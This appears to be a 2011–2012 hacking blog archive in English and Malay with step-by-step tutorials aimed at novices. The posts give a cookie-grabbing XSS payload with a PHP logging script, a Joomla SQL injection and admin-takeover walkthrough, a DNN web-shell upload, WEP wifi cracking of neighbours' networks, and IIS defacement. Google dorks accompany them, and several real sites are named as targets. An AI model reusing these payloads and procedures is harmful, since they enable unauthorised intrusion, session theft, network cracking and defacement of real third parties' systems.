Showing posts with label tutorial :D. Show all posts
Showing posts with label tutorial :D. Show all posts

Sunday, 19 February 2012

XFS - XSS From SQL


XFS - XSS From SQL


[------------------------------------------------------------------------]

[+] Summary

[1] Presentation
[2] Explanation
[3] Demonstration



[------------------------------------------------------------------------]


[1] --[Presentation]--

XFS is a SQL deviation who lets return javascript code by through of the 
function char().
This function convert an ASCII code to char, this why we'll 
use it to execute javascript code.
The XFS can give you a restricted XSS 
possibility and obviously the SQL vulnerabilty.


So for XFS we need :

- String to ASCII converter
- The function char()

In the next parties you will see the conditions for do it, how it work 
and demonstration.


[2] --[Explanation]--

To use it, you need to convert your string in ASCII 
Char() will read the ASCII code and return it, so if you insert 
the ASCII javascript code, char() will return you the 
javascript code and it will be executed BUT when you encode your javascript 
code, this codemustn't have any space, so the XSS is restricted
but you can grab, alert and a lot of other XSS thing.

Example :

If you want convert your javascript code to ASCII, for work, the javascript 
code mustn't to be like it :

<script > alert(document.cookie) </script> <= You need to delete space :

<script>alert(document.cookie)</script> <= Its okay, you can convert it in ASCII


When the code will be convert in ASCII, you will get a thing like it :

46 65 42 12 85 68 ...

But before put it in char(ASCII), we need to replace space by "," like it :

46,65,42,12,85,68 ... <= Its okay for put in char()


[3] --[Demonstration]--

Vuln website :


Some javascript codes without space :

Alert :

################################
#
#- String : <SCRIPT>alert('xss')</script>
#
#- ASCII : 60 83 67 82 73 80 84 62 97 108 101 114 116 40 39 120 115 115 39 #41 60 
47 115 99 114 105 112 116 62 
#
################################

Cookie Grabber :

################################
#
#- String : 
<SCRIPT>location.href='http://www.yoursite.com/cookie.php?#cookie='
+escape(document.cookie)</SCRIPT>
#
#- ASCII : 60 83 67 82 73 80 84 62 108 111 99 97 116 105 111 
110 46 104 114 101 102 61 39 104 116 116 112 58 47 47 119 
119 119 46 121 111 117 114 115 105 116 101 46 99 111 109 
47 99 111 111 107 105 101 46 112 104 112 63 99 111 111 107
 105 101 61 39 43 101 115 99 97 112 101 40 100 111 99 117 
109 101 110 116 46 99 111 111 107 105 101 41 60 47 83 67 
82 73 80 84 62 
#
################################

Cookie Grabber file :

################################
#

# <?php
#
#
$cookies = $_GET["cookie"];
#
# if($cookies)

# {

#
# $grab = fopen("grab.txt","a");

# fputs($grab, $cookies . "\r\n");

# fclose($grab);

#
# }

#
# ?>
#
################################


So before insert your ASCII in char(), you must replace 
(in the ASCII code) all space by ",".

Example :

################################
# 45 52 86 23 54 ...
# To :
# 45,52,86,23,54 ...
################################

So lets go :

Alert :


You can see a textbox is executed with the text : "XSS" => it's the XSS alert

Saturday, 18 February 2012

Sqli Without Tools

Hi,

this is a tutorial based on other tutorial on HF but a little bit different, no sql tool used.

1/ Finding Exploit And Target

Google dork: inurl:"option=com_mytube"

Type that Dork in Google.



2/ Inject Target

Find a url like this:

Code:
http://site.com/index.php?option=com_mytube&Itemid=88..

Now replace the url like this:

Click here to view: http://pastebin.com/ZxxU8Nsr

If the site is vulnerable, you can see something like this:


We can see username, email and activation code. (username:email:activation code)

Now, let this page open and open a new page.

3/ Admin password reset

Go to:
Code:
http://www.site.com/index.php?option=com_user&view=reset

This is standard Joomla! query for password reset request



Type the email adress found in step 2 and press Submit.

The activation code should be resetted.

Return to the first page, refresh the page and take the new activation code.

Paste him in the token and press Submit.

problem with token.. :((

UPDATE: Joomla! 1.5.16 now hashes the reset token

if you see a thing like :$1$14411: after the activation code, it will not work

4/ Admin Login

If you done everything ok, your Password page will load. Enter your new password...
After that go to:
Code:
http://www.site.com/administrator/



Standard Joomla portal content management system

Enter the username (found in step 2) and your new password, click on Login
Go to Extensions >> Template Manager >> Default Template Name >> Edit HTML
In Template HTML Editor insert your defaced code, click Apply, Save and you are done!!!

[color=#FF0000]Vuln. site compatible with this tutorial: 
Code:
http://www.mirditaturistike.com/index.php?&option=com_mytube&Itemid=88&view=videos&type=member&user_id=62




Monday, 31 October 2011

tutorial hack using DNN :D



Step 1 : download this shell > http://www.mediafire.com/?1t0t40297d4b1kg


Step 2: Now enter this dork (this is Dork for find DNN Valn sites)

> :inurl:/tabid/36/language/en-US/Default.aspx
or
> inurl:/Fck/fcklinkgallery.aspx

Step 3:
it will show you many sites, Copy any one of site.

Step 4:
For example take this site.
Example:

http://www.itservicespro.net/

Step 5: Now Paste after the site url
this
> /Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

so Site is this :
http://itservicespro.net/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

 klua macam gambar nie > 

Now Click on File ( A File On Your Site )

Step 8: Now replace the URL in the address bar with a Simple Script

> javascript:__doPostBack('ctlURL$cmdUpload','')

Step 9: You will Find the Upload Option

macam gambar ni > 





Step 10:
Select Root

Step 11:
Upload your shell ASp Download it here > http://www.mediafire.com/?1t0t40297d4b1kg

After upload

go for your shell www.yoursite.com/portals/0/yourshellname.asp;.jpg

EXample : http://www.itservicespro.net/portals/0/umer.asp;.jpg

so you upload shell and shell is front of you look like this (screenshot below)

Click on <Dir>... again and again till you will see admin

gambar >

so when it will show you this page admin area page click on UPLOAD FILE TO C:\WEBSITES\WWW.ITSERVICESPRO.NET\WEBSITE\

and upload your deface index page so

this is your result www.site.com/urpagename.html

for example see this http://www.itservicespro.net/merul.html

gambar > https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjotN9ICV-DgI1MokTtg74EWz-2qbhXiPx_v5EJiMqTYJ2nd4ruiDB2MdQVNxAVo1dEkHMPaNPexhAxc7EKIlUePcfotLNFr4nKChHyI5NAq3BIDVFIAddWb4G1VZEGg2OoNeIZxZwEAdg/s1600/Dnn4.jpg

If you want to deface main page then click on Admin dir and search for index htm or html and click on Edit and copy your deface page code and replace there...:)

credit:to Malaya Hacker crew :D

Sunday, 30 October 2011

Tutorial hack wifi using Beini :D

1. Mula2 tgok korang punya network adapter wireless (untuk laptop) @ brand/chipset external usb wireless smada bleh suport or tak..klu x bleh sabo jak la ekk..

2. Download Beini ni kat link yg dah aku sedia kn tuk korg..

3. Lepas download Beini tu, pastikn ekk dlm format iso..klu format rar korang kena extract dlu ok..

4. Cara nak run Beini tu korang msti burn iso tu as image kat cd (pakai nero, ashampoo, ultraiso n lain2) untuk boot menggunakan cd la..

5. Klu nak boot gna usb(pendrive), korang guna software kat link yg aku bg ni..

dan ni link tutorial cara nak boot Beini kat dlm pendrive

AKU SARANKAN KORANG PRINT OUT STEP NI LPAS KORANG BACA SBB NAK GUNA BILA NAK HACK TPI KLU OTAK KORANG JENIS MUDAH INGAT ABAIKAN OK..;)

6. Ok lpas dah download smua ni n dah burn dlm cd or usb kita truskn ngan projek kta hack wifi kwn,jiran,restoran2 berdekatan,syarikat2 n yg lain2 ok...

7. -Mula2 msukkan cd boot td or usb(pendrive yg dah boot pakai UNETbootin 377) ke laptop anda n restart kan laptop korng..

8. -Bila dah runing software tu, korang enter jak kat tulisan DEFAULT..

9. -Bila dah masuk program tu, korang click ikon ke-5 (lambang botol susu) pastu click yes..

10. -Click kotak wlan0, lepas tu klik next dan click scan..

11. -Lepas scan, dia akan tunjukkan smua nama2 wifi yg ada dskitar anda yg nak dhack tu la dlm msa 30 saat..

12. -Click wireless mana yang nak hack dan dia akan highlight sendiri lepas tu klik next..

13. -click advanced mode..

14. -Click capture, lepas tu klik fake auth (by force)

15. -Click access to information, klik start. tunggu sampai dia tulis Connected to 5c:d9:88:b5:80:93(contoh jak). lepas tu klik X untuk kotak fake authentication with AP (maksudnya tutup kotak tu)

16. -Tick kotak Auto Run. klik Interactive 0841 (-2). tgk kotak kat kiri atas, tgk bahagian Beacons, tunggu sampai 1,000 + lebih. lepas tu klik kotak Previous (All Stop!)..

17. -Click advance mode..

18. -Click capture. klik fake auth (by force)..

19. -Click access to information, klik start. tunggu sampai dia tulis Connected to(mcm step ke-15 diatas). kali nie tak payah tutup kotak nie yah..

20. -Click Interactive 0841 (-2). tgk kotak kat kiri atas, tgk bahagian Data, tunggu sampai 10,000 + lebih. lepas tu klik kotak start crack..

21. -Kalau dia keluar tulisan failed, korang boleh tunggu dia akan run sendiri atau korang boleh klik stop crack, lepas tu klik start crack sekali lagi..

22. -Kalau berjaya dia akan tulis key found. angka dalam key found (............) tu la password wifi tu tapi korang kena ambil angka jak yah, yang tanda titik bertindih mcm ni -> : korang abaikan.

23. -Lepas dah dpat password tu korang bleh la on kan laptop korang tpi remove kan cd n usb tu dlu klu tak dia jd boot lg tu nt k..

24. -Ok bla dah on laptop,korang buka wifi korang n cari nama wifi yg korang hack tdi n click connect n masukkn pasword yg dah d hack tu..

tutorial hack for script kiddies :D

MULA DNGN BISMILLAH^^, IKOT TAW .. ,:: Dengan menggunakan web folder yang disediakan oleh OS Windows sendiri. 
Namun perlu diketahui, teknik ini hanya berlaku untuk website yang menggunakan OS Windows dan pelayan IIS 5.0/6.0. 
Lalu bagaimana cara mengetahui bahawa target kita menggunakan pelayan IIS? 
Mudah saja, sila buka netcraft.com dan masukkan target kita ke textbox yang tersedia,
 maka akan kita dapatkan maklumat website tersebut, termasuk OS dan pelayan yang digunakan.
Jika anda ingin mendapatkan target secara rawak boleh menggunakan google dork dengan menggunakan
 keyword allinurl: *. asp, allinurl: *. aspx dan sebagainya. OK, 
1. Buka My Computer lalu lihat icon web folder, dan klik 2x icon web folder (Win 98/ME/2000). 
Jika anda menggunakan windows XP secara default tidak akan mencari folder tersebut di My Computer, 
tapi kamu boleh membuat secara manual dengan membuat shortcut baru. Ini langkahnya: -
 Klik kanan pada desktop, 
kemudian pilih New -> Shortcut. - Maka akan ada popup yang meminta untuk memasukkan destinasi, 
lalu kamu masukkan alamat dibawah ini:%WINDIR%\EXPLORER.EXE ,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{BDEADF00-C265-11d0-BCED-00A0C90AB50F}
Jika sudah sila klik Next -> Next -> Finish. - Jika shortcut nya sudah terbentuk, dan klik 2x pada shortcut tersebut 
2. Jika anda sudah berjaya membuka web folder tersebut kemudian klik kanan dan pilih New Web Folder 
3. Lalu akan muncul popup (Add Web Folder) yang meminta untuk memasukkan alamat tujuan.

Dork Google :
inurl:.ah.cn/*.asp
inurl:.bj.cn/*.asp
inurl:.cq.cn/*.asp
inurl:.fj.cn/*.asp
inurl:.gd.cn/*.asp
inurl:.gs.cn/*.asp
inurl:.gz.cn/*.asp
inurl:.gx.cn/*.asp
inurl:.ha.cn/*.asp
inurl:.hb.cn/*.asp
inurl:.he.cn/*.asp
inurl:.hi.cn/*.asp
inurl:.hl.cn/*.asp
inurl:.hn.cn/*.asp
inurl:.jl.cn/*.asp
inurl:.js.cn/*.asp
inurl:.jx.cn/*.asp
inurl:.ln.cn/*.asp
inurl:.nm.cn/*.asp
inurl:.nx.cn/*.asp
inurl:.qh.cn/*.asp
inurl:.sc.cn/*.asp
inurl:.sd.cn/*.asp
inurl:.sh.cn/*.asp
inurl:.sn.cn/*.asp
inurl:.sx.cn/*.asp
inurl:.tj.cn/*.asp
inurl:.tw.cn/*.asp
inurl:.xj.cn/*.asp
inurl:.xz.cn/*.asp
inurl:.yn.cn/*.asp
inurl:.zj.cn/*.asp
inurl:.ac.cn/*.asp
inurl:.com.cn/*.asp
inurl:.edu.cn/*.asp
inurl:.gov.cn/*.asp
inurl:.net.cn/*.asp
inurl:.org.cn/*.asp

kredit to Boss TD : MrWanz TD

Hack Xss 1 :D

salam :D
pagi nie Adios nk post something tok kowg yg script kiddies :D
hehe...jgn marah...
korang nk jadi hacker kan?
Adios bley aja...
yg nie paling basic la...ok?

 
1) Cari target di google, gunakan dork ini:
inurl:/gen_confirm.php?errmsg=
inurl:"search.php?q="
 
2) anggaplah target kita kali ini adalah:
http://bangladeshmanufacturers.com/gen_confirm.phperrmsg=No+such+product+catalog+exists+or+disabled+by+admin
 
kita test site diatas, apakah vurn terhadap XSS atau tidak, caranya dengan memasukan salah satu script ini, setelah /gen_confirm.php?errmsg=
<script>alert("XSS")</script>;
<script>alert("XSS");</script>
<script>alert("/XSS"/)</script>
')alert('XSS');
");alert('XSS');
<script type=text/javascript>alert("XSS")</script>
<script>var var = 1; alert(var)</script>
<script>alert(String.fromCharCode(115, 112, 121, 114, 111))</script>
 
dan sebagai contoh:

http://bangladeshmanufacturers.com/gen_confirm.php?errmsg=<script>alert("XSS")</script>;
 
apabila script ini dijalankan dan memunculkan pop-up window yang berisi 
"XSS", maka dapat dipastikan site ini vurn terhadap XSS.
 
3)Dan langkah terakhir anda dapat berkreasi sesuka hati, 
anda dapat memasukkan gambar, teks, dll. 
Caranya, masukkan kode html setelah /gen_confirm.php?errmsg=
 
dan hasilnya akan seperti ini
 
http://bangladeshmanufacturers.com/gen_confirm.php?errmsg=
<marquee><h1><center>Tahniah Anda Berjaya Melakukan Serangan XSS :D</center><h1></marquee>

Related Posts Plugin for WordPress, Blogger...